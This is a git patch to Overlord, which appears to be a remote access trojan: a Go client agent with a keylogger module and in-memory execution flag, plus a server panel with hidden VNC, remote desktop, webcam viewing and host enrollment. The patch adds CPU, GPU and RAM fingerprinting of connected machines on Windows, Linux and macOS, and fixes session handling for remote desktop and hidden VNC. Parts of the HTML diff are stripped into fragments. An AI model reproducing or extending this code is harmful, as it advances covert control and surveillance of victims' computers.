From 02953a86e1aab8575dfc62733a7cd4703c128eab Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 1 Apr 2026 17:27:31 -0500 Subject: [PATCH] fix remote desktop and hvnc issue and add cpu, gpu and ram info to purgatory --- Overlord-Client/cmd/agent/session.go | 6 + Overlord-Client/cmd/agent/sysinfo/sysinfo.go | 11 ++ .../cmd/agent/sysinfo/sysinfo_darwin.go | 45 +++++++ .../cmd/agent/sysinfo/sysinfo_linux.go | 99 +++++++++++++++ .../cmd/agent/sysinfo/sysinfo_windows.go | 114 ++++++++++++++++++ Overlord-Client/cmd/agent/wire/protocol.go | 3 + Overlord-Server/public/assets/purgatory-ui.js | 45 ++++++- Overlord-Server/public/purgatory.html | 9 +- Overlord-Server/src/db.ts | 26 +++- .../routes/websocket-lifecycle-routes.ts | 3 + .../src/server/ws-console-rd-hvnc.ts | 2 + Overlord-Server/src/types.ts | 3 + Overlord-Server/src/wsHandlers.ts | 6 + 13 files changed, 359 insertions(+), 13 deletions(-) create mode 100644 Overlord-Client/cmd/agent/sysinfo/sysinfo.go create mode 100644 Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go create mode 100644 Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go create mode 100644 Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index e9711ad..77e17ee 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -25,6 +25,7 @@ import ( "overlord-client/cmd/agent/keylogger" "overlord-client/cmd/agent/plugins" rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/sysinfo" "overlord-client/cmd/agent/wire" "nhooyr.io/websocket" @@ -504,6 +505,11 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. InMemory: isRunningInMemory(), } + hw := sysinfo.Collect() + hello.CPU = hw.CPU + hello.GPU = hw.GPU + hello.RAM = hw.RAM + if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { return fmt.Errorf("send hello: %w", err) } diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo.go new file mode 100644 index 0000000..52c2558 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo.go @@ -0,0 +1,11 @@ +package sysinfo + +type Info struct { + CPU string `json:"cpu,omitempty"` + GPU string `json:"gpu,omitempty"` + RAM string `json:"ram,omitempty"` +} + +func Collect() Info { + return collectPlatform() +} diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go new file mode 100644 index 0000000..3c35ba1 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go @@ -0,0 +1,45 @@ +//go:build darwin + +package sysinfo + +import ( + "fmt" + "strings" + "unsafe" + + "golang.org/x/sys/unix" +) + +func collectPlatform() Info { + return Info{ + CPU: cpuName(), + GPU: gpuName(), + RAM: totalRAM(), + } +} + +func cpuName() string { + name, err := unix.Sysctl("machdep.cpu.brand_string") + if err != nil || name == "" { + return "unknown" + } + return strings.TrimSpace(name) +} + +func gpuName() string { + return "unknown" +} + +func totalRAM() string { + mem, err := unix.SysctlRaw("hw.memsize") + if err != nil || len(mem) < 8 { + return "unknown" + } + total := *(*uint64)(unsafe.Pointer(&mem[0])) + gb := float64(total) / (1024 * 1024 * 1024) + if gb >= 1 { + return fmt.Sprintf("%.0f GB", gb) + } + mb := float64(total) / (1024 * 1024) + return fmt.Sprintf("%.0f MB", mb) +} diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go new file mode 100644 index 0000000..d610bc2 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go @@ -0,0 +1,99 @@ +//go:build linux + +package sysinfo + +import ( + "fmt" + "os" + "strings" +) + +func collectPlatform() Info { + return Info{ + CPU: cpuName(), + GPU: gpuName(), + RAM: totalRAM(), + } +} + +func cpuName() string { + data, err := os.ReadFile("/proc/cpuinfo") + if err != nil { + return "unknown" + } + for _, line := range strings.Split(string(data), "\n") { + if strings.HasPrefix(line, "model name") { + parts := strings.SplitN(line, ":", 2) + if len(parts) == 2 { + return strings.TrimSpace(parts[1]) + } + } + } + return "unknown" +} + +func gpuName() string { + entries, err := os.ReadDir("/sys/class/drm") + if err != nil { + return "unknown" + } + var gpus []string + seen := map[string]bool{} + for _, e := range entries { + if !strings.HasPrefix(e.Name(), "card") || strings.Contains(e.Name(), "-") { + continue + } + labelPath := "/sys/class/drm/" + e.Name() + "/device/label" + if data, err := os.ReadFile(labelPath); err == nil { + name := strings.TrimSpace(string(data)) + if name != "" && !seen[name] { + seen[name] = true + gpus = append(gpus, name) + continue + } + } + + ueventPath := "/sys/class/drm/" + e.Name() + "/device/uevent" + if data, err := os.ReadFile(ueventPath); err == nil { + for _, line := range strings.Split(string(data), "\n") { + if strings.HasPrefix(line, "DRIVER=") { + drv := strings.TrimPrefix(line, "DRIVER=") + if drv != "" && !seen[drv] { + seen[drv] = true + gpus = append(gpus, drv) + } + } + } + } + } + if len(gpus) == 0 { + return "unknown" + } + return strings.Join(gpus, ", ") +} + +func totalRAM() string { + data, err := os.ReadFile("/proc/meminfo") + if err != nil { + return "unknown" + } + for _, line := range strings.Split(string(data), "\n") { + if strings.HasPrefix(line, "MemTotal:") { + fields := strings.Fields(line) + if len(fields) >= 2 { + var kb uint64 + _, err := fmt.Sscanf(fields[1], "%d", &kb) + if err != nil { + return "unknown" + } + gb := float64(kb) / (1024 * 1024) + if gb >= 1 { + return fmt.Sprintf("%.0f GB", gb) + } + mb := float64(kb) / 1024 + return fmt.Sprintf("%.0f MB", mb) + } + } + } + return "unknown" +} diff --git a/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go b/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go new file mode 100644 index 0000000..5b8e1e9 --- /dev/null +++ b/Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go @@ -0,0 +1,114 @@ +//go:build windows + +package sysinfo + +import ( + "fmt" + "strings" + "unsafe" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" +) + +func collectPlatform() Info { + return Info{ + CPU: cpuName(), + GPU: gpuName(), + RAM: totalRAM(), + } +} + +func cpuName() string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `HARDWARE\DESCRIPTION\System\CentralProcessor\0`, registry.QUERY_VALUE) + if err != nil { + return "unknown" + } + defer k.Close() + name, _, err := k.GetStringValue("ProcessorNameString") + if err != nil { + return "unknown" + } + return strings.TrimSpace(name) +} + +func gpuName() string { + basePath := `SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}` + k, err := registry.OpenKey(registry.LOCAL_MACHINE, basePath, registry.ENUMERATE_SUB_KEYS) + if err != nil { + return "unknown" + } + defer k.Close() + + subkeys, err := k.ReadSubKeyNames(-1) + if err != nil { + return "unknown" + } + + var gpus []string + for _, sub := range subkeys { + if len(sub) != 4 { + continue + } + allDigits := true + for _, c := range sub { + if c < '0' || c > '9' { + allDigits = false + break + } + } + if !allDigits { + continue + } + + sk, err := registry.OpenKey(registry.LOCAL_MACHINE, + basePath+`\`+sub, registry.QUERY_VALUE) + if err != nil { + continue + } + desc, _, err := sk.GetStringValue("DriverDesc") + sk.Close() + if err != nil || desc == "" { + continue + } + gpus = append(gpus, strings.TrimSpace(desc)) + } + + if len(gpus) == 0 { + return "unknown" + } + return strings.Join(gpus, ", ") +} + +func totalRAM() string { + type memoryStatusEx struct { + Length uint32 + MemoryLoad uint32 + TotalPhys uint64 + AvailPhys uint64 + TotalPageFile uint64 + AvailPageFile uint64 + TotalVirtual uint64 + AvailVirtual uint64 + AvailExtendedVirtual uint64 + } + + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + globalMemoryStatusEx := kernel32.NewProc("GlobalMemoryStatusEx") + + var ms memoryStatusEx + ms.Length = uint32(unsafe.Sizeof(ms)) + + ret, _, _ := globalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms))) + if ret == 0 { + return "unknown" + } + + gb := float64(ms.TotalPhys) / (1024 * 1024 * 1024) + if gb >= 1 { + return fmt.Sprintf("%.0f GB", gb) + } + mb := float64(ms.TotalPhys) / (1024 * 1024) + return fmt.Sprintf("%.0f MB", mb) +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 208d5ce..4e2f0f7 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -16,6 +16,9 @@ type Hello struct { PublicKey string `msgpack:"publicKey,omitempty"` Signature string `msgpack:"signature,omitempty"` InMemory bool `msgpack:"inMemory,omitempty"` + CPU string `msgpack:"cpu,omitempty"` + GPU string `msgpack:"gpu,omitempty"` + RAM string `msgpack:"ram,omitempty"` } type EnrollmentChallenge struct { diff --git a/Overlord-Server/public/assets/purgatory-ui.js b/Overlord-Server/public/assets/purgatory-ui.js index 67cc216..53cee49 100644 --- a/Overlord-Server/public/assets/purgatory-ui.js +++ b/Overlord-Server/public/assets/purgatory-ui.js @@ -29,6 +29,7 @@ const banModalBackdrop = document.getElementById("ban-modal-backdrop"); let currentFilter = "pending"; let searchQuery = ""; let clients = []; +const expandedCells = new Set(); // tracks "clientId:field" keys // ── API helpers ──────────────────────────────────────────────────── async function api(path, opts = {}) { @@ -82,7 +83,7 @@ async function loadClients() { const q = searchQuery.toLowerCase().trim(); const filtered = q ? clients.filter((c) => { - const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint]; + const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint, c.cpu, c.gpu, c.ram]; return fields.some((f) => f && String(f).toLowerCase().includes(q)); }) : clients; @@ -108,12 +109,15 @@ async function loadClients() { ${esc(c.host || c.id)} ${esc(c.user || "-")} ${esc(c.os || "-")} + ${expandableCell(c.id, "cpu", c.cpu)} + ${expandableCell(c.id, "gpu", c.gpu)} + ${esc(c.ram || "-")} ${esc(c.ip || "-")} ${esc(c.country || "-")} ${esc(fp)} ${lastSeen} ${statusPill} - ${actionButtons(c)} +
${actionButtons(c)}
`; body.appendChild(tr); } @@ -136,16 +140,16 @@ function actionButtons(c) { const status = c.enrollmentStatus || "pending"; let html = ""; if (status !== "approved") { - html += ``; + html += ``; } if (status !== "denied") { - html += ``; + html += ``; } if (status !== "pending") { - html += ``; + html += ``; } if (c.ip) { - html += ``; + html += ``; } return html; } @@ -156,6 +160,21 @@ function esc(s) { return d.innerHTML; } +function expandableCell(clientId, field, value) { + const text = value || "-"; + if (text === "-" || text.length <= 24) { + return `${esc(text)}`; + } + const key = `${clientId}:${field}`; + const isOpen = expandedCells.has(key); + const short = text.substring(0, 22) + "…"; + return `` + + `${esc(short)}` + + `${esc(text)}` + + `` + + ``; +} + function timeAgo(ts) { const diff = Date.now() - ts; if (diff < 60000) return "just now"; @@ -236,6 +255,20 @@ document.querySelectorAll(".enrollment-tab").forEach((tab) => { // ── Table delegation ─────────────────────────────────────────────── body.addEventListener("click", (e) => { + // Expandable CPU/GPU cells + const expander = e.target.closest(".hw-expand"); + if (expander) { + const isOpen = expander.dataset.expanded === "1"; + const key = expander.dataset.expandKey; + expander.dataset.expanded = isOpen ? "0" : "1"; + if (isOpen) expandedCells.delete(key); else expandedCells.add(key); + expander.querySelector(".hw-short").classList.toggle("hidden", !isOpen); + expander.querySelector(".hw-full").classList.toggle("hidden", isOpen); + const chevron = expander.querySelector(".hw-chevron"); + if (chevron) chevron.style.transform = isOpen ? "" : "rotate(180deg)"; + return; + } + const btn = e.target.closest("button"); if (!btn) return; const id = btn.dataset.id; diff --git a/Overlord-Server/public/purgatory.html b/Overlord-Server/public/purgatory.html index f946e01..45b830f 100644 --- a/Overlord-Server/public/purgatory.html +++ b/Overlord-Server/public/purgatory.html @@ -80,8 +80,8 @@ -
- +
+
+ + + @@ -100,7 +103,7 @@ - diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index db4ae22..3b9b8f2 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -67,6 +67,15 @@ try { try { db.run(`ALTER TABLE clients ADD COLUMN enrolled_by TEXT`); } catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN cpu TEXT`); +} catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN gpu TEXT`); +} catch {} +try { + db.run(`ALTER TABLE clients ADD COLUMN ram TEXT`); +} catch {} db.run( `CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`, ); @@ -232,8 +241,8 @@ export function upsertClientRow( ) { const now = partial.lastSeen ?? Date.now(); db.run( - `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ON CONFLICT(id) DO UPDATE SET hwid=COALESCE(excluded.hwid, clients.hwid), role=COALESCE(excluded.role, clients.role), @@ -253,7 +262,10 @@ export function upsertClientRow( ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms), enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END, public_key=COALESCE(excluded.public_key, clients.public_key), - key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint) + key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint), + cpu=COALESCE(excluded.cpu, clients.cpu), + gpu=COALESCE(excluded.gpu, clients.gpu), + ram=COALESCE(excluded.ram, clients.ram) `, partial.id, partial.hwid ?? partial.id, @@ -275,6 +287,9 @@ export function upsertClientRow( partial.enrollmentStatus ?? "pending", partial.publicKey ?? null, partial.keyFingerprint ?? null, + partial.cpu ?? null, + partial.gpu ?? null, + partial.ram ?? null, ); if (partial.hwid) { @@ -519,7 +534,7 @@ export function listClients(filters: ListFilters): ListResult { const rows = db .query( - `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint + `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram FROM clients ${whereSql} ${orderBy} @@ -548,6 +563,9 @@ export function listClients(filters: ListFilters): ListResult { enrollmentStatus: c.enrollmentStatus || "pending", publicKey: c.publicKey || null, keyFingerprint: c.keyFingerprint || null, + cpu: c.cpu || null, + gpu: c.gpu || null, + ram: c.ram || null, thumbnail: getThumbnail(c.id), })); diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index c58f618..6737ec2 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -293,6 +293,9 @@ export async function handleWebSocketMessage( version: (payload as any).version || undefined, user: (payload as any).user || undefined, monitors: (payload as any).monitors || undefined, + cpu: (payload as any).cpu || undefined, + gpu: (payload as any).gpu || undefined, + ram: (payload as any).ram || undefined, country, lastSeen: Date.now(), online: 0 as any, diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 9b3dd8f..1d88747 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -268,6 +268,7 @@ export function handleConsoleViewerOpen(ws: ServerWebSocket) { export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket) { const { clientId } = ws.data; const sessionId = uuidv4(); + ws.data.sessionId = sessionId; const target = clientManager.getClient(clientId); const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; sessionManager.addRdSession(session); @@ -610,6 +611,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket, raw: export function handleHVNCViewerOpen(ws: ServerWebSocket) { const { clientId } = ws.data; const sessionId = uuidv4(); + ws.data.sessionId = sessionId; const target = clientManager.getClient(clientId); const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() }; sessionManager.addHvncSession(session); diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts index 4673853..f02e2d7 100644 --- a/Overlord-Server/src/types.ts +++ b/Overlord-Server/src/types.ts @@ -25,6 +25,9 @@ export type ClientInfo = { country?: string; pingMs?: number; inMemory?: boolean; + cpu?: string; + gpu?: string; + ram?: string; enrollmentStatus?: EnrollmentStatus; publicKey?: string; keyFingerprint?: string; diff --git a/Overlord-Server/src/wsHandlers.ts b/Overlord-Server/src/wsHandlers.ts index ccd11b3..4faf100 100644 --- a/Overlord-Server/src/wsHandlers.ts +++ b/Overlord-Server/src/wsHandlers.ts @@ -89,6 +89,9 @@ export function handleHello( info.monitors = payload.monitors; info.monitorInfo = (payload as any).monitorInfo || info.monitorInfo; info.inMemory = !!(payload as any).inMemory; + info.cpu = (payload as any).cpu || info.cpu; + info.gpu = (payload as any).gpu || info.gpu; + info.ram = (payload as any).ram || info.ram; const geo = ip ? geoip.lookup(ip) : undefined; const countryRaw = geo?.country || (payload as any).country || info.country || "ZZ"; @@ -111,6 +114,9 @@ export function handleHello( user: info.user, monitors: info.monitors, country: info.country, + cpu: info.cpu, + gpu: info.gpu, + ram: info.ram, lastSeen: info.lastSeen, online: 1, });
@@ -90,6 +90,9 @@ Host User OSCPUGPURAM IP Country Key Fingerprint
+ Loading...